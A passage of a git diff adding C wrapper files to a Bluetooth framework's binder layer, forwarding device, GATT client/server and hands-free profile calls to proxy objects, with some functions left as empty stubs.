mode, bool bondable) +{ + return BpBtAdapter_setScanMode((BpBtAdapter*)ins->adapter_proxy, mode, bondable); +} + +bt_scan_mode_t bt_adapter_get_scan_mode(bt_instance_t* ins) +{ + return BpBtAdapter_getScanMode((BpBtAdapter*)ins->adapter_proxy); +} + +bt_status_t bt_adapter_set_device_class(bt_instance_t* ins, uint32_t cod) +{ + return BpBtAdapter_setDeviceClass((BpBtAdapter*)ins->adapter_proxy, cod); +} + +uint32_t bt_adapter_get_device_class(bt_instance_t* ins) +{ + return BpBtAdapter_getDeviceClass((BpBtAdapter*)ins->adapter_proxy); +} + +bt_status_t bt_adapter_set_io_capability(bt_instance_t* ins, bt_io_capability_t cap) +{ + return BpBtAdapter_setIOCapability((BpBtAdapter*)ins->adapter_proxy, cap); +} + +bt_io_capability_t bt_adapter_get_io_capability(bt_instance_t* ins) +{ + return BpBtAdapter_getIOCapability((BpBtAdapter*)ins->adapter_proxy); +} + +bt_status_t bt_adapter_set_le_io_capability(bt_instance_t* ins, uint32_t le_io_cap) +{ + return BpBtAdapter_SetLeIOCapability((BpBtAdapter*)ins->adapter_proxy, le_io_cap); +} + +uint32_t bt_adapter_get_le_io_capability(bt_instance_t* ins) +{ + return BpBtAdapter_getLeIOCapability((BpBtAdapter*)ins->adapter_proxy); +} + +bt_status_t bt_adapter_get_le_address(bt_instance_t* ins, bt_address_t* addr, ble_addr_type_t* type) +{ + return BpBtAdapter_getLeAddress((BpBtAdapter*)ins->adapter_proxy, addr, type); +} + +bt_status_t bt_adapter_set_le_address(bt_instance_t* ins, bt_address_t* addr) +{ + return BpBtAdapter_setLeAddress((BpBtAdapter*)ins->adapter_proxy, addr); +} + +bt_status_t bt_adapter_set_le_identity_address(bt_instance_t* ins, bt_address_t* addr, bool is_public) +{ + return BpBtAdapter_setLeIdentityAddress((BpBtAdapter*)ins->adapter_proxy, addr, is_public); +} + +bt_status_t bt_adapter_set_le_appearance(bt_instance_t* ins, uint16_t appearance) +{ + return BpBtAdapter_setLeAppearance((BpBtAdapter*)ins->adapter_proxy, appearance); +} + +uint16_t bt_adapter_get_le_appearance(bt_instance_t* ins) +{ + return BpBtAdapter_getLeAppearance((BpBtAdapter*)ins->adapter_proxy); +} + +bt_status_t bt_adapter_get_bonded_devices(bt_instance_t* ins, bt_transport_t transport, bt_address_t** addr, int* num, bt_allocator_t allocator) +{ + return BpBtAdapter_getBondedDevices((BpBtAdapter*)ins->adapter_proxy, addr, num, allocator); +} + +bt_status_t bt_adapter_get_connected_devices(bt_instance_t* ins, bt_transport_t transport, bt_address_t** addr, int* num, bt_allocator_t allocator) +{ + return BpBtAdapter_getConnectedDevices((BpBtAdapter*)ins->adapter_proxy, addr, num, allocator); +} + +void bt_adapter_disconnect_all_devices(bt_instance_t* ins) +{ +} + +bool bt_adapter_is_support_bredr(bt_instance_t* ins) +{ + return false; +} + +bool bt_adapter_is_support_le(bt_instance_t* ins) +{ + return false; +} + +bool bt_adapter_is_support_leaudio(bt_instance_t* ins) +{ + return false; +} diff --git a/framework/binder/bt_device.c b/framework/binder/bt_device.c new file mode 100644 index 0000000000000000000000000000000000000000..db05d35d5b498e021dc8cd6fc01f65cf2a81a075 --- /dev/null +++ b/framework/binder/bt_device.c @@ -0,0 +1,176 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdint.h> +#include <stdlib.h> + +#include "adapter_internel.h" +#include "bluetooth.h" +#include "bt_addr.h" +#include "bt_device.h" +#include "device.h" + +#include "adapter_proxy.h" +#include "adapter_stub.h" + +bt_address_t* bt_device_get_identity_address(bt_instance_t* ins, bt_address_t* addr) +{ + return NULL; +} + +ble_addr_type_t bt_device_get_address_type(bt_instance_t* ins, bt_address_t* addr) +{ + return 0; +} + +bt_device_type_t bt_device_get_device_type(bt_instance_t* ins, bt_address_t* addr) +{ + return BpBtAdapter_getRemoteDeviceType((BpBtAdapter*)ins->adapter_proxy, addr); +} + +bool bt_device_get_name(bt_instance_t* ins, bt_address_t* addr, char* name, uint32_t length) +{ + return BpBtAdapter_getRemoteName((BpBtAdapter*)ins->adapter_proxy, addr, name, length); +} + +uint32_t bt_device_get_device_class(bt_instance_t* ins, bt_address_t* addr) +{ + return BpBtAdapter_getRemoteDeviceClass((BpBtAdapter*)ins->adapter_proxy, addr); +} + +bt_status_t bt_device_get_uuids(bt_instance_t* ins, bt_address_t* addr, bt_uuid_t** uuids, uint16_t* size, bt_allocator_t allocator) +{ + return BpBtAdapter_getRemoteUuids((BpBtAdapter*)ins->adapter_proxy, addr, uuids, size, allocator); +} + +uint16_t bt_device_get_appearance(bt_instance_t* ins, bt_address_t* addr) +{ + return BpBtAdapter_getRemoteAppearance((BpBtAdapter*)ins->adapter_proxy, addr); +} + +int8_t bt_device_get_rssi(bt_instance_t* ins, bt_address_t* addr) +{ + return BpBtAdapter_getRemoteRssi((BpBtAdapter*)ins->adapter_proxy, addr); +} + +bool bt_device_get_alias(bt_instance_t* ins, bt_address_t* addr, char* alias, uint32_t length) +{ + return BpBtAdapter_getRemoteAlias((BpBtAdapter*)ins->adapter_proxy, addr, alias, length); +} + +bt_status_t bt_device_set_alias(bt_instance_t* ins, bt_address_t* addr, const char* alias) +{ + return BpBtAdapter_setRemoteAlias((BpBtAdapter*)ins->adapter_proxy, addr, alias); +} + +bool bt_device_is_connected(bt_instance_t* ins, bt_address_t* addr) +{ + return BpBtAdapter_isRemoteConnected((BpBtAdapter*)ins->adapter_proxy, addr); +} + +bool bt_device_is_encrypted(bt_instance_t* ins, bt_address_t* addr) +{ + return BpBtAdapter_isRemoteEncrypted((BpBtAdapter*)ins->adapter_proxy, addr); +} + +bool bt_device_is_bond_initiate_local(bt_instance_t* ins, bt_address_t* addr) +{ + return BpBtAdapter_isBondInitiateLocal((BpBtAdapter*)ins->adapter_proxy, addr); +} + +bond_state_t bt_device_get_bond_state(bt_instance_t* ins, bt_address_t* addr) +{ + return BpBtAdapter_getRemoteBondState((BpBtAdapter*)ins->adapter_proxy, addr); +} + +bool bt_device_is_bonded(bt_instance_t* ins, bt_address_t* addr) +{ + return BpBtAdapter_isRemoteBonded((BpBtAdapter*)ins->adapter_proxy, addr); +} + +bt_status_t bt_device_connect(bt_instance_t* ins, bt_address_t* addr) +{ + return BpBtAdapter_connect((BpBtAdapter*)ins->adapter_proxy, addr); +} + +bt_status_t bt_device_disconnect(bt_instance_t* ins, bt_address_t* addr) +{ + return BpBtAdapter_disconnect((BpBtAdapter*)ins->adapter_proxy, addr); +} + +bt_status_t bt_device_connect_le(bt_instance_t* ins, + bt_address_t* addr, + ble_addr_type_t type, + ble_connect_params_t* param) +{ + return BpBtAdapter_leConnect((BpBtAdapter*)ins->adapter_proxy, addr, type, param); +} + +bt_status_t bt_device_disconnect_le(bt_instance_t* ins, bt_address_t* addr) +{ + return BpBtAdapter_leDisconnect((BpBtAdapter*)ins->adapter_proxy, addr); +} + +void bt_device_connect_all_profile(bt_instance_t* ins, bt_address_t* addr) +{ +} + +void bt_device_disconnect_all_profile(bt_instance_t* ins, bt_address_t* addr) +{ +} + +bt_status_t bt_device_set_le_phy(bt_instance_t* ins, + bt_address_t* addr, + ble_phy_type_t tx_phy, + ble_phy_type_t rx_phy) +{ + return BpBtAdapter_leSetPhy((BpBtAdapter*)ins->adapter_proxy, addr, tx_phy, rx_phy); +} + +bt_status_t bt_device_create_bond(bt_instance_t* ins, bt_address_t* addr, bt_transport_t transport) +{ + return BpBtAdapter_createBond((BpBtAdapter*)ins->adapter_proxy, addr, transport); +} + +bt_status_t bt_device_remove_bond(bt_instance_t* ins, bt_address_t* addr, uint8_t transport) +{ + return BpBtAdapter_removeBond((BpBtAdapter*)ins->adapter_proxy, addr, transport); +} + +bt_status_t bt_device_cancel_bond(bt_instance_t* ins, bt_address_t* addr) +{ + return BpBtAdapter_cancelBond((BpBtAdapter*)ins->adapter_proxy, addr); +} + +bt_status_t bt_device_pair_request_reply(bt_instance_t* ins, bt_address_t* addr, bool accept) +{ + return BpBtAdapter_pairRequestReply((BpBtAdapter*)ins->adapter_proxy, addr, accept); +} + +bt_status_t bt_device_set_pairing_confirmation(bt_instance_t* ins, bt_address_t* addr, uint8_t transport, bool accept) +{ + return BpBtAdapter_setPairingConfirmation((BpBtAdapter*)ins->adapter_proxy, addr, transport, accept); +} + +bt_status_t bt_device_set_pin_code(bt_instance_t* ins, bt_address_t* addr, bool accept, + char* pincode, int len) +{ + return BpBtAdapter_setPinCode((BpBtAdapter*)ins->adapter_proxy, addr, accept, pincode, len); +} + +bt_status_t bt_device_set_pass_key(bt_instance_t* ins, bt_address_t* addr, uint8_t transport, bool accept, uint32_t passkey) +{ + return BpBtAdapter_setPassKey((BpBtAdapter*)ins->adapter_proxy, addr, transport, accept, passkey); +} diff --git a/framework/binder/bt_gattc.c b/framework/binder/bt_gattc.c new file mode 100644 index 0000000000000000000000000000000000000000..473695b6707577900ad1f2c5939c28c4767ccf76 --- /dev/null +++ b/framework/binder/bt_gattc.c @@ -0,0 +1,132 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "gattc" + +#include "bt_gattc.h" +#include "bt_profile.h" + +#include "gattc_callbacks_stub.h" +#include "gattc_proxy.h" +#include "gattc_stub.h" + +#include "utils/log.h" +#include <stdint.h> + +bt_status_t bt_gattc_create_connect(bt_instance_t* ins, gattc_handle_t* phandle, gattc_callbacks_t* callbacks) +{ + BpBtGattClient* gattc = (BpBtGattClient*)bluetooth_get_proxy(ins, PROFILE_GATTC); + + IBtGattClientCallbacks* cbks = BtGattClientCallbacks_new(callbacks); + AIBinder* binder = BtGattClientCallbacks_getBinder(cbks); + if (!binder) { + BtGattClientCallbacks_delete(cbks); + return BT_STATUS_FAIL; + } + + void* handle = BpBtGattClient_createConnect(gattc, binder); + if (!handle) { + BtGattClientCallbacks_delete(cbks); + return BT_STATUS_FAIL; + } + cbks->proxy = gattc; + cbks->cookie = handle; + *phandle = cbks; + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_gattc_delete_connect(gattc_handle_t conn_handle) +{ + IBtGattClientCallbacks* cbks = conn_handle; + bt_status_t status = BpBtGattClient_deleteConnect(cbks->proxy, cbks->cookie); + if (status == BT_STATUS_SUCCESS) + BtGattClientCallbacks_delete(cbks); + return status; +} + +bt_status_t bt_gattc_connect(gattc_handle_t conn_handle, bt_address_t* addr, ble_addr_type_t addr_type) +{ + IBtGattClientCallbacks* cbks = conn_handle; + return BpBtGattClient_connect(cbks->proxy, cbks->cookie, addr, addr_type); +} + +bt_status_t bt_gattc_disconnect(gattc_handle_t conn_handle) +{ + IBtGattClientCallbacks* cbks = conn_handle; + return BpBtGattClient_disconnect(cbks->proxy, cbks->cookie); +} + +bt_status_t bt_gattc_discover_service(gattc_handle_t conn_handle, bt_uuid_t* filter_uuid) +{ + IBtGattClientCallbacks* cbks = conn_handle; + return BpBtGattClient_discoverService(cbks->proxy, cbks->cookie, filter_uuid); +} + +bt_status_t bt_gattc_get_attribute_by_handle(gattc_handle_t conn_handle, uint16_t attr_handle, gatt_attr_desc_t* attr_desc) +{ + IBtGattClientCallbacks* cbks = conn_handle; + return BpBtGattClient_getAttributeByHandle(cbks->proxy, cbks->cookie, attr_handle, attr_desc); +} + +bt_status_t bt_gattc_get_attribute_by_uuid(gattc_handle_t conn_handle, bt_uuid_t* attr_uuid, gatt_attr_desc_t* attr_desc) +{ + IBtGattClientCallbacks* cbks = conn_handle; + return BpBtGattClient_getAttributeByUUID(cbks->proxy, cbks->cookie, attr_uuid, attr_desc); +} + +bt_status_t bt_gattc_read(gattc_handle_t conn_handle, uint16_t attr_handle) +{ + IBtGattClientCallbacks* cbks = conn_handle; + return BpBtGattClient_read(cbks->proxy, cbks->cookie, attr_handle); +} + +bt_status_t bt_gattc_write(gattc_handle_t conn_handle, uint16_t attr_handle, uint8_t* value, uint16_t length) +{ + IBtGattClientCallbacks* cbks = conn_handle; + return BpBtGattClient_write(cbks->proxy, cbks->cookie, attr_handle, value, length); +} + +bt_status_t bt_gattc_write_without_response(gattc_handle_t conn_handle, uint16_t attr_handle, uint8_t* value, uint16_t length) +{ + IBtGattClientCallbacks* cbks = conn_handle; + return BpBtGattClient_writeWithoutResponse(cbks->proxy, cbks->cookie, attr_handle, value, length); +} + +bt_status_t bt_gattc_subscribe(gattc_handle_t conn_handle, uint16_t value_handle, uint16_t cccd_handle) +{ + IBtGattClientCallbacks* cbks = conn_handle; + return BpBtGattClient_subscribe(cbks->proxy, cbks->cookie, value_handle, cccd_handle); +} + +bt_status_t bt_gattc_unsubscribe(gattc_handle_t conn_handle, uint16_t value_handle, uint16_t cccd_handle) +{ + IBtGattClientCallbacks* cbks = conn_handle; + return BpBtGattClient_unsubscribe(cbks->proxy, cbks->cookie, value_handle, cccd_handle); +} + +bt_status_t bt_gattc_exchange_mtu(gattc_handle_t conn_handle, uint32_t mtu) +{ + IBtGattClientCallbacks* cbks = conn_handle; + return BpBtGattClient_exchangeMtu(cbks->proxy, cbks->cookie, mtu); +} + +bt_status_t bt_gattc_update_connection_parameter(gattc_handle_t conn_handle, uint32_t min_interval, uint32_t max_interval, uint32_t latency, + uint32_t timeout, uint32_t min_connection_event_length, uint32_t max_connection_event_length) +{ + IBtGattClientCallbacks* cbks = conn_handle; + return BpBtGattClient_updateConnectionParameter(cbks->proxy, cbks->cookie, min_interval, max_interval, latency, + timeout, min_connection_event_length, max_connection_event_length); +} diff --git a/framework/binder/bt_gatts.c b/framework/binder/bt_gatts.c new file mode 100644 index 0000000000000000000000000000000000000000..35261cdc5ba783b1ac529da480d2535a2d7a6d1e --- /dev/null +++ b/framework/binder/bt_gatts.c @@ -0,0 +1,109 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "gatts" + +#include "bt_gatts.h" +#include "bt_profile.h" + +#include "gatts_callbacks_stub.h" +#include "gatts_proxy.h" +#include "gatts_stub.h" + +#include "utils/log.h" +#include <stdint.h> + +bt_status_t bt_gatts_register_service(bt_instance_t* ins, gatts_handle_t* phandle, gatts_callbacks_t* callbacks) +{ + BpBtGattServer* gatts = (BpBtGattServer*)bluetooth_get_proxy(ins, PROFILE_GATTS); + + IBtGattServerCallbacks* cbks = BtGattServerCallbacks_new(callbacks); + AIBinder* binder = BtGattServerCallbacks_getBinder(cbks); + if (!binder) { + BtGattServerCallbacks_delete(cbks); + return BT_STATUS_FAIL; + } + + void* handle = BpBtGattServer_registerService(gatts, binder); + if (!handle) { + BtGattServerCallbacks_delete(cbks); + return BT_STATUS_FAIL; + } + cbks->proxy = gatts; + cbks->cookie = handle; + *phandle = cbks; + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_gatts_unregister_service(gatts_handle_t srv_handle) +{ + IBtGattServerCallbacks* cbks = srv_handle; + bt_status_t status = BpBtGattServer_unregisterService(cbks->proxy, cbks->cookie); + if (status == BT_STATUS_SUCCESS) + BtGattServerCallbacks_delete(cbks); + return status; +} + +bt_status_t bt_gatts_connect(gatts_handle_t srv_handle, bt_address_t* addr, ble_addr_type_t addr_type) +{ + IBtGattServerCallbacks* cbks = srv_handle; + return BpBtGattServer_connect(cbks->proxy, cbks->cookie, addr, addr_type); +} + +bt_status_t bt_gatts_disconnect(gatts_handle_t srv_handle) +{ + IBtGattServerCallbacks* cbks = srv_handle; + return BpBtGattServer_disconnect(cbks->proxy, cbks->cookie); +} + +bt_status_t bt_gatts_create_service_table(gatts_handle_t srv_handle, gatt_srv_db_t* srv_db) +{ + IBtGattServerCallbacks* cbks = srv_handle; + bt_status_t status = BpBtGattServer_createServiceTable(cbks->proxy, cbks->cookie, srv_db); + if (status == BT_STATUS_SUCCESS) + cbks->srv_db = srv_db; + return status; +} + +bt_status_t bt_gatts_start(gatts_handle_t srv_handle) +{ + IBtGattServerCallbacks* cbks = srv_handle; + return BpBtGattServer_start(cbks->proxy, cbks->cookie); +} + +bt_status_t bt_gatts_stop(gatts_handle_t srv_handle) +{ + IBtGattServerCallbacks* cbks = srv_handle; + return BpBtGattServer_stop(cbks->proxy, cbks->cookie); +} + +bt_status_t bt_gatts_response(gatts_handle_t srv_handle, uint32_t req_handle, uint8_t* value, uint16_t length) +{ + IBtGattServerCallbacks* cbks = srv_handle; + return BpBtGattServer_response(cbks->proxy, cbks->cookie, req_handle, value, length); +} + +bt_status_t bt_gatts_notify(gatts_handle_t srv_handle, uint16_t attr_handle, uint8_t* value, uint16_t length) +{ + IBtGattServerCallbacks* cbks = srv_handle; + return BpBtGattServer_notify(cbks->proxy, cbks->cookie, attr_handle, value, length); +} + +bt_status_t bt_gatts_indicate(gatts_handle_t srv_handle, uint16_t attr_handle, uint8_t* value, uint16_t length) +{ + IBtGattServerCallbacks* cbks = srv_handle; + return BpBtGattServer_indicate(cbks->proxy, cbks->cookie, attr_handle, value, length); +} diff --git a/framework/binder/bt_hfp_ag.c b/framework/binder/bt_hfp_ag.c new file mode 100644 index 0000000000000000000000000000000000000000..01908e2759ac37325637bbf25bad9d15994fbecd --- /dev/null +++ b/framework/binder/bt_hfp_ag.c @@ -0,0 +1,122 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "hfp_ag_api" + +#include "bt_hfp_ag.h" +#include "bt_profile.h" + +#include "hfp_ag_callbacks_stub.h" +#include "hfp_ag_proxy.h" +#include "hfp_ag_stub.h" + +#include "utils/log.h" +#include <stdint.h> + +void* bt_hfp_ag_register_callbacks(bt_instance_t* ins, const hfp_ag_callbacks_t* callbacks) +{ + BpBtHfpAg* ag = (BpBtHfpAg*)bluetooth_get_proxy(ins, PROFILE_HFP_AG); + + IBtHfpAgCallbacks* cbks = BtHfpAgCallbacks_new(callbacks); + AIBinder* binder = BtHfpAgCallbacks_getBinder(cbks); + if (!binder) { + BtHfpAgCallbacks_delete(cbks); + return NULL; + } + + void* remote_cbks = BpBtHfpAg_registerCallback(ag, binder); + if (!remote_cbks) { + BtHfpAgCallbacks_delete(cbks); + return NULL; + } + cbks->cookie = remote_cbks; + + return cbks; +} + +bool bt_hfp_ag_unregister_callbacks(bt_instance_t* ins, void* cookie) +{ + IBtHfpAgCallbacks* cbks = cookie; + BpBtHfpAg* ag = (BpBtHfpAg*)bluetooth_get_proxy(ins, PROFILE_HFP_AG); + + bool ret = BpBtHfpAg_unRegisterCallback(ag, cbks->cookie); + if (ret) + BtHfpAgCallbacks_delete(cbks); + + return ret; +} + +bool bt_hfp_ag_is_connected(bt_instance_t* ins, bt_address_t* addr) +{ + BpBtHfpAg* ag = (BpBtHfpAg*)bluetooth_get_proxy(ins, PROFILE_HFP_AG); + + return BpBtHfpAg_isConnected(ag, addr); +} + +bool bt_hfp_ag_is_audio_connected(bt_instance_t* ins, bt_address_t* addr) +{ + BpBtHfpAg* ag = (BpBtHfpAg*)bluetooth_get_proxy(ins, PROFILE_HFP_AG); + + return BpBtHfpAg_isAudioConnected(ag, addr); +} + +profile_connection_state_t bt_hfp_ag_get_connection_state(bt_instance_t* ins, bt_address_t* addr) +{ + BpBtHfpAg* ag = (BpBtHfpAg*)bluetooth_get_proxy(ins, PROFILE_HFP_AG); + + return BpBtHfpAg_getConnectionState(ag, addr); +} + +bt_status_t bt_hfp_ag_connect(bt_instance_t* ins, bt_address_t* addr) +{ + BpBtHfpAg* ag = (BpBtHfpAg*)bluetooth_get_proxy(ins, PROFILE_HFP_AG); + + return BpBtHfpAg_connect(ag, addr); +} + +bt_status_t bt_hfp_ag_disconnect(bt_instance_t* ins, bt_address_t* addr) +{ + BpBtHfpAg* ag = (BpBtHfpAg*)bluetooth_get_proxy(ins, PROFILE_HFP_AG); + + return BpBtHfpAg_disconnect(ag, addr); +} + +bt_status_t bt_hfp_ag_connect_audio(bt_instance_t* ins, bt_address_t* addr) +{ + BpBtHfpAg* ag = (BpBtHfpAg*)bluetooth_get_proxy(ins, PROFILE_HFP_AG); + + return BpBtHfpAg_connectAudio(ag, addr); +} + +bt_status_t bt_hfp_ag_disconnect_audio(bt_instance_t* ins, bt_address_t* addr) +{ + BpBtHfpAg* ag = (BpBtHfpAg*)bluetooth_get_proxy(ins, PROFILE_HFP_AG); + + return BpBtHfpAg_disconnectAudio(ag, addr); +} + +bt_status_t bt_hfp_ag_start_voice_recognition(bt_instance_t* ins, bt_address_t* addr) +{ + BpBtHfpAg* ag = (BpBtHfpAg*)bluetooth_get_proxy(ins, PROFILE_HFP_AG); + + return BpBtHfpAg_startVoiceRecognition(ag, addr); +} + +bt_status_t bt_hfp_ag_stop_voice_recognition(bt_instance_t* ins, bt_address_t* addr) +{ + BpBtHfpAg* ag = (BpBtHfpAg*)bluetooth_get_proxy(ins, PROFILE_HFP_AG); + + return BpBtHfpAg_stopVoiceRecognition(ag, addr); +} \ No newline at end of file diff --git a/framework/binder/bt_hfp_hf.c b/framework/binder/bt_hfp_hf.c new file mode 100644 index 0000000000000000000000000000000000000000..c700805762c3754172b2b7eddcb3f913dcb9279a --- /dev/null +++ b/framework/binder/bt_hfp_hf.c @@ -0,0 +1,192 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_THF "hfp_hf_api" + +#include "bt_hfp_hf.h" +#include "bt_profile.h" + +#include "hfp_hf_callbacks_stub.h" +#include "hfp_hf_proxy.h" +#include "hfp_hf_stub.h" + +#include "utils/log.h" +#include <stdint.h> + +void* bt_hfp_hf_register_callbacks(bt_instance_t* ins, const hfp_hf_callbacks_t* callbacks) +{ + BpBtHfpHf* hf = (BpBtHfpHf*)bluetooth_get_proxy(ins, PROFILE_HFP_HF); + + IBtHfpHfCallbacks* cbks = BtHfpHfCallbacks_new(callbacks); + AIBinder* binder = BtHfpHfCallbacks_getBinder(cbks); + if (!binder) { + BtHfpHfCallbacks_delete(cbks); + return NULL; + } + + void* remote_cbks = BpBtHfpHf_registerCallback(hf, binder); + if (!remote_cbks) { + BtHfpHfCallbacks_delete(cbks); + return NULL; + } + cbks->cookie = remote_cbks; + + return cbks; +} + +bool bt_hfp_hf_unregister_callbacks(bt_instance_t* ins, void* cookie) +{ + IBtHfpHfCallbacks* cbks = cookie; + BpBtHfpHf* hf = (BpBtHfpHf*)bluetooth_get_proxy(ins, PROFILE_HFP_HF); + + bool ret = BpBtHfpHf_unRegisterCallback(hf, cbks->cookie); + if (ret) + BtHfpHfCallbacks_delete(cbks); + + return ret; +} + +bool bt_hfp_hf_is_connected(bt_instance_t* ins, bt_address_t* addr) +{ + BpBtHfpHf* hf = (BpBtHfpHf*)bluetooth_get_proxy(ins, PROFILE_HFP_HF); + + return BpBtHfpHf_isConnected(hf, addr); +} + +bool bt_hfp_hf_is_audio_connected(bt_instance_t* ins, bt_address_t* addr) +{ + BpBtHfpHf* hf = (BpBtHfpHf*)bluetooth_get_proxy(ins, PROFILE_HFP_HF); + + return BpBtHfpHf_isAudioConnected(hf, addr); +} + +profile_connection_state_t bt_hfp_hf_get_connection_state(bt_instance_t* ins, bt_address_t* addr) +{ + BpBtHfpHf* hf = (BpBtHfpHf*)bluetooth_get_proxy(ins, PROFILE_HFP_HF); + + return BpBtHfpHf_getConnectionState(hf, addr); +} + +bt_status_t bt_hfp_hf_connect(bt_instance_t* ins, bt_address_t* addr) +{ + BpBtHfpHf* hf = (BpBtHfpHf*)bluetooth_get_proxy(ins, PROFILE_HFP_HF); + + return BpBtHfpHf_connect(hf, addr); +} + +bt_status_t bt_hfp_hf_disconnect(bt_instance_t* ins, bt_address_t* addr) +{ + BpBtHfpHf* hf = (BpBtHfpHf*)bluetooth_get_proxy(ins, PROFILE_HFP_HF); + + return BpBtHfpHf_disconnect(hf, addr); +} + +bt_status_t bt_hfp_hf_connect_audio(bt_instance_t* ins, bt_address_t* addr) +{ + BpBtHfpHf* hf = (BpBtHfpHf*)bluetooth_get_proxy(ins, PROFILE_HFP_HF); + + return BpBtHfpHf_connectAudio(hf, addr); +} + +bt_status_t bt_hfp_hf_disconnect_audio(bt_instance_t* ins, bt_address_t* addr) +{ + BpBtHfpHf* hf = (BpBtHfpHf*)bluetooth_get_proxy(ins, PROFILE_HFP_HF); + + return BpBtHfpHf_disconnectAudio(hf, addr); +} + +bt_status_t bt_hfp_hf_start_voice_recognition(bt_instance_t* ins, bt_address_t* addr) +{ + BpBtHfpHf* hf = (BpBtHfpHf*)bluetooth_get_proxy(ins, PROFILE_HFP_HF); + + return BpBtHfpHf_startVoiceRecognition(hf, addr); +} + +bt_status_t bt_hfp_hf_stop_voice_recognition(bt_instance_t* ins, bt_address_t* addr) +{ + BpBtHfpHf* hf = (BpBtHfpHf*)bluetooth_get_proxy(ins, PROFILE_HFP_HF); + + return BpBtHfpHf_stopVoiceRecognition(hf, addr); +} + +bt_status_t bt_hfp_hf_dial(bt_instance_t* ins, bt_address_t* addr, const char* number) +{ + BpBtHfpHf* hf = (BpBtHfpHf*)bluetooth_get_proxy(ins, PROFILE_HFP_HF); + + return BpBtHfpHf_dial(hf, addr, number); +} + +bt_status_t bt_hfp_hf_dial_memory(bt_instance_t* ins, bt_address_t* addr, uint32_t memory) +{ + BpBtHfpHf* hf = (BpBtHfpHf*)bluetooth_get_proxy(ins, PROFILE_HFP_HF); + + return BpBtHfpHf_dialMemory(hf, addr, memory); +} + +bt_status_t bt_hfp_hf_redial(bt_instance_t* ins, bt_address_t* addr) +{ + BpBtHfpHf* hf = (BpBtHfpHf*)bluetooth_get_proxy(ins, PROFILE_HFP_HF); + + return BpBtHfpHf_redial(hf, addr); +} + +bt_status_t bt_hfp_hf_accept_call(bt_instance_t* ins, bt_address_t* addr, hfp_call_accept_t flag) +{ + BpBtHfpHf* hf = (BpBtHfpHf*)bluetooth_get_proxy(ins, PROFILE_HFP_HF); + + return BpBtHfpHf_acceptCall(hf, addr, flag); +} + +bt_status_t bt_hfp_hf_reject_call(bt_instance_t* ins, bt_address_t* addr) +{ + BpBtHfpHf* hf = (BpBtHfpHf*)bluetooth_get_proxy(ins, PROFILE_HFP_HF); + + return BpBtHfpHf_rejectCall(hf, addr); +} + +bt_status_t bt_hfp_hf_hold_call(bt_instance_t* ins, bt_address_t* addr) +{ + BpBtHfpHf* hf = (BpBtHfpHf*)bluetooth_get_proxy(ins, PROFILE_HFP_HF); + + return BpBtHfpHf_holdCall(hf, addr); +} + +bt_status_t bt_hfp_hf_terminate_call(bt_instance_t* ins, bt_address_t* addr) +{ + BpBtHfpHf* hf = (BpBtHfpHf*)bluetooth_get_proxy(ins, PROFILE_HFP_HF); + + return BpBtHfpHf_terminateCall(hf, addr); +} + +bt_status_t bt_hfp_hf_control_call(bt_instance_t* ins, bt_address_t* addr, hfp_call_control_t chld, uint8_t index) +{ + BpBtHfpHf* hf = (BpBtHfpHf*)bluetooth_get_proxy(ins, PROFILE_HFP_HF); + + return BpBtHfpHf_controlCall(hf, addr, chld, index); +} + +bt_status_t bt_hfp_hf_query_current_calls(bt_instance_t* ins, bt_address_t* addr, hfp_current_call_t** calls, int* num, bt_allocator_t allocator) +{ + BpBtHfpHf* hf = (BpBtHfpHf*)bluetooth_get_proxy(ins, PROFILE_HFP_HF); + + return BpBtHfpHf_queryCurrentCalls(hf, addr, calls, num, allocator); +} + +bt_status_t bt_hfp_hf_send_at_cmd(bt_instance_t* ins, bt_address_t* addr, const char* cmd) +{ + BpBtHfpHf* hf = (BpBtHfpHf*)bluetooth_get_proxy(ins, PROFILE_HFP_HF); + + return BpBtHfpHf_sendAtCmd(hf, addr, cmd); +} diff --git a/framework/binder/bt_hid_device.c b/framework/binder/bt_hid_device.c new file mode 100644 index 0000000000000000000000000000000000000000..34fedd2e012222621e22aa712d54c0b53c9b6003 --- /dev/null 